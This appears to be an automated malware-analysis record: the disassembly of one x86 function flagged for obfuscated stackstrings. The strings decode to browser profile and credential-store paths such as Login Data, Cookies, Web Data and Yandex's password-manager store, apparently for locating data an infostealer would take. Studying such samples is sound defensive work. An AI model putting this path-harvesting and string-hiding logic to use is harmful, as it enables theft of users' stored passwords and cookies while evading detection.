Function at 0x40fa67
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x40fe79
cmp word [esi], 0
je 0x40fe79
push esi
call fcn.0041fc87
add esp, 4
cmp word [esi + eax*2 - 2], 0x5c
jne 0x40faa7
push esi
call fcn.0041fc87
add esp, 4
xor ecx, ecx
mov word [esi + eax*2 - 2], cx
push ebx
push esi
call fcn.0041fc87
xor ecx, ecx
push 0x2e
push ecx
lea edx, [ebp - 0x182]
push edx
mov ebx, eax
mov dword [ebp - 0x194], 0x44005c
mov dword [ebp - 0x190], 0x660065
mov dword [ebp - 0x18c], 0x750061
mov dword [ebp - 0x188], 0x74006c
mov word [ebp - 0x184], cx
call fcn.0041fb07
push 0x2c
lea ecx, [ebp - 0x140]
push 0
push ecx
mov dword [ebp - 0x154], 0x50005c
mov dword [ebp - 0x150], 0x6f0072
mov dword [ebp - 0x14c], 0x690066
mov dword [ebp - 0x148], 0x65006c
mov dword [ebp - 0x144], 0x20
call fcn.0041fb07
xor ecx, ecx
add esp, 0x1c
xor eax, eax
mov dword [ebp - 0xd4], 0x47005c
mov dword [ebp - 0xd0], 0x650075
mov dword [ebp - 0xcc], 0x740073
mov dword [ebp - 0xc8], 0x500020
mov dword [ebp - 0xc4], 0x6f0072
mov dword [ebp - 0xc0], 0x690066
mov dword [ebp - 0xbc], 0x65006c
mov word [ebp - 0xb8], cx
mov dword [ebp - 0xb6], eax
mov dword [ebp - 0xb2], eax
mov dword [ebp - 0xae], eax
mov dword [ebp - 0xaa], eax
mov dword [ebp - 0xa6], eax
mov dword [ebp - 0xa2], eax
mov dword [ebp - 0x9e], eax
mov dword [ebp - 0x9a], eax
mov word [ebp - 0x96], ax
mov dword [ebp - 0x94], 0x59005c
mov dword [ebp - 0x90], 0x200061
mov dword [ebp - 0x8c], 0x610050
mov dword [ebp - 0x88], 0x730073
mov dword [ebp - 0x84], 0x61006d
mov dword [ebp - 0x80], 0x20006e
mov dword [ebp - 0x7c], 0x610044
mov dword [ebp - 0x78], 0x610074
mov word [ebp - 0x74], ax
mov dword [ebp - 0x72], eax
mov dword [ebp - 0x6e], eax
mov dword [ebp - 0x6a], eax
mov dword [ebp - 0x66], eax
mov dword [ebp - 0x62], eax
mov dword [ebp - 0x5e], eax
mov dword [ebp - 0x5a], eax
mov word [ebp - 0x56], ax
mov dword [ebp - 0x14], 0x43005c
mov dword [ebp - 0x10], 0x6f006f
mov dword [ebp - 0xc], 0x69006b
mov dword [ebp - 8], 0x730065
mov word [ebp - 4], ax
mov dword [ebp - 0x54], 0x4e005c
mov dword [ebp - 0x50], 0x740065
mov dword [ebp - 0x4c], 0x6f0077
mov dword [ebp - 0x48], 0x6b0072
mov word [ebp - 0x44], ax
mov dword [ebp - 0x42], eax
mov dword [ebp - 0x3e], eax
mov dword [ebp - 0x3a], eax
mov word [ebp - 0x36], ax
mov dword [ebp - 0x34], 0x57005c
mov dword [ebp - 0x30], 0x620065
mov dword [ebp - 0x2c], 0x440020
mov dword [ebp - 0x28], 0x740061
mov dword [ebp - 0x24], 0x61
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x114], 0x4c005c
mov dword [ebp - 0x110], 0x67006f
mov dword [ebp - 0x10c], 0x6e0069
mov dword [ebp - 0x108], 0x440020
mov dword [ebp - 0x104], 0x740061
mov dword [ebp - 0x100], 0x61
cmp eax, 0xb
jne 0x40fd22
lea edx, [ebp - 0x14]
mov dword [ebp + 0xc], edx
jmp 0x40fd38
cmp eax, 0xa
jne 0x40fd2f
lea eax, [ebp - 0x34]
mov dword [ebp + 0xc], eax
jmp 0x40fd38
lea ecx, [ebp - 0x114]
mov dword [ebp + 0xc], ecx
mov eax, dword [ebp + 0x10]
push edi
test eax, eax
jne 0x40fd48
lea edi, [ebp - 0x194]
jmp 0x40fd81
lea edx, [eax - 1]
cmp edx, 4
ja 0x40fd72
lea edi, [eax + 0x30]
lea eax, [ebp - 0x154]
push eax
call fcn.0041fc87
mov word [ebp + eax*2 - 0x154], di
add esp, 4
lea edi, [ebp - 0x154]
jmp 0x40fd81
cmp eax, 6
jne 0x40fe20
lea edi, [ebp - 0xd4]
push 0
push edi
push esi
call fcn.0041fdf7
mov ecx, dword [ebp + 0xc]
push 0
push ecx
push esi
call fcn.0041fdf7
mov edx, dword [ebp + 8]
push 0
push 0x15
push esi
push edx
call fcn.00418677
add esp, 0x28
test eax, eax
jne 0x40fe6d
mov eax, dword [ebp + 0xc]
push eax
lea ebx, [esi + ebx*2]
call fcn.0041fc87
mov edx, dword [ebp + 0xc]
lea ecx, [eax + eax + 2]
push ecx
push edx
push ebx
call fcn.0041fa87
mov eax, dword [ebp + 8]
push 0
push 0x15
push esi
push eax
call fcn.00418677
add esp, 0x20
test eax, eax
jne 0x40fe6d
mov eax, dword [ebp + 0x14]
test eax, eax
jne 0x40fe29
push edi
call fcn.0041fc87
lea ecx, [eax + eax + 2]
push ecx
push edi
push ebx
call fcn.0041fa87
push 0
lea edx, [ebp - 0x94]
push edx
push esi
call fcn.0041fdf7
mov eax, dword [ebp + 8]
push 0
push 0x15
push esi
push eax
call fcn.00418677
add esp, 0x2c
test eax, eax
jne 0x40fe6d
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, 0xb
jne 0x40fe20
push edi
call fcn.0041fc87
lea ecx, [eax + eax + 2]
push ecx
push edi
push ebx
call fcn.0041fa87
push 0
lea edx, [ebp - 0x54]
push edx
push esi
call fcn.0041fdf7
mov eax, dword [ebp + 0xc]
push 0
push eax
push esi
call fcn.0041fdf7
mov ecx, dword [ebp + 8]
push 0
push 0x15
push esi
push ecx
call fcn.00418677
add esp, 0x38
test eax, eax
je 0x40fe20
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret